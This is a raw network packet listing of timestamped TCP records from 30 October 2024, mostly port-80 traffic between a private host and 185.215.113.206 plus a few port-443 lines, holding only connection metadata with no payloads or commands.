Oct 30, 2024 11:45:44.760436058 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.780311108 CET	443	49987	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:44.805671930 CET	443	49987	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:44.805783987 CET	49987	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:44.808351040 CET	49987	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:44.808365107 CET	443	49987	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:44.868465900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.868489981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.868515968 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.868539095 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.868555069 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.868558884 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.868570089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.868587017 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.868602037 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.868606091 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.868618965 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.868619919 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.868635893 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.868643999 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.868652105 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.868666887 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.868675947 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.868695021 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869067907 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869117975 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869128942 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869146109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869220972 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869259119 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869275093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869290113 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869306087 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869321108 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869338036 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869354010 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869357109 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869370937 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869386911 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869393110 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869411945 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869415998 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869429111 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869434118 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869445086 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869477987 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869497061 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869513035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869518995 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869530916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869540930 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869548082 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869563103 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869565964 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869580030 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869590044 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869599104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869615078 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869626045 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869632959 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869649887 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869657993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869666100 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869679928 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869684935 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869695902 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869699001 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869713068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869725943 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869729996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869735956 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869755030 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869764090 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869880915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869913101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869926929 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869949102 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869952917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869965076 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.869982004 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.869990110 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870002031 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870007038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870031118 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870044947 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870048046 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870065928 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870066881 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870083094 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870093107 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870105028 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870110989 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870127916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870136023 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870145082 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870161057 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870162010 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870182037 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870207071 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870361090 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870377064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870393038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870417118 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870419979 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870436907 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870440960 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870460987 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870465040 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870479107 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870480061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870496988 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870506048 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870507956 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870513916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870522976 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870537996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870553017 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870557070 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870568991 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870584011 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870587111 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870604038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870609045 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870621920 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870630026 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870640039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.870656013 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870668888 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.870692015 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.874550104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874579906 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874594927 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874651909 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.874654055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874670982 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874687910 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874695063 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.874702930 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874708891 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.874721050 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874737024 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.874747992 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874761105 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.874763012 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874779940 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874783993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.874804974 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874820948 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874821901 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.874836922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874844074 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.874854088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874876976 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.874901056 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.874922037 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874936104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874943972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.874979019 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.874993086 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.875000954 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875015020 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875030041 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875039101 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.875046968 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875063896 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.875087023 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.875221968 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875258923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875309944 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.875685930 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875701904 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875720978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875729084 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.875765085 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.875854969 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875870943 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875889063 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875910997 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875914097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.875927925 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875933886 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.875946999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875952959 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.875966072 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875972033 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.875983953 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.875998974 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.876003981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.876013041 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.876023054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.876028061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.876040936 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.876040936 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.876059055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.876060963 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.876071930 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.876075983 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.876091957 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.876095057 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.876108885 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.876123905 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.876127958 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.876141071 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.876151085 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.876158953 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.876174927 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.876174927 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.876183987 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.876193047 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.876209974 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.876234055 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.916711092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.916738987 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.916753054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.916774035 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.916795015 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.983925104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.983948946 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.983985901 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984013081 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984010935 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984029055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984038115 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984054089 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984055042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984075069 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984081030 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984091997 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984095097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984113932 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984118938 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984128952 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984138966 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984157085 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984164000 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984174013 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984190941 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984196901 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984208107 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984219074 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984227896 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984246016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984247923 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984265089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984271049 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984293938 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984308958 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984317064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984361887 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984371901 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984378099 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984405041 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984417915 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984438896 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984452963 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984471083 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984471083 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984488964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984492064 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984508991 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984523058 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984525919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984543085 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984560966 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984576941 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984585047 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984597921 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984600067 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984616041 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984616995 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984636068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984637976 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984657049 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984672070 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984673977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984692097 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984694004 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984708071 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984718084 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984731913 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984751940 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984751940 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984757900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984776020 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984791994 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984792948 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984819889 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984833002 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984841108 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984884977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984899998 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984920979 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984941006 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.984946966 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.984965086 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985017061 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985033989 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985052109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985058069 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985085011 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985131979 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985148907 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985167027 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985167980 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985192060 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985209942 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985213041 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985236883 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985248089 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985254049 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985270023 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985271931 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985290051 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985296965 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985311031 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985325098 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985568047 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985596895 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985611916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985611916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985646963 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985656023 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985671997 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985681057 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985691071 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985714912 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985716105 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985771894 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985789061 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985790014 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985814095 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985817909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985827923 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985837936 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985857010 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985863924 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985872030 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985884905 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.985891104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.985898018 CET	49888	80	192.168.2.6	185.215.113.206
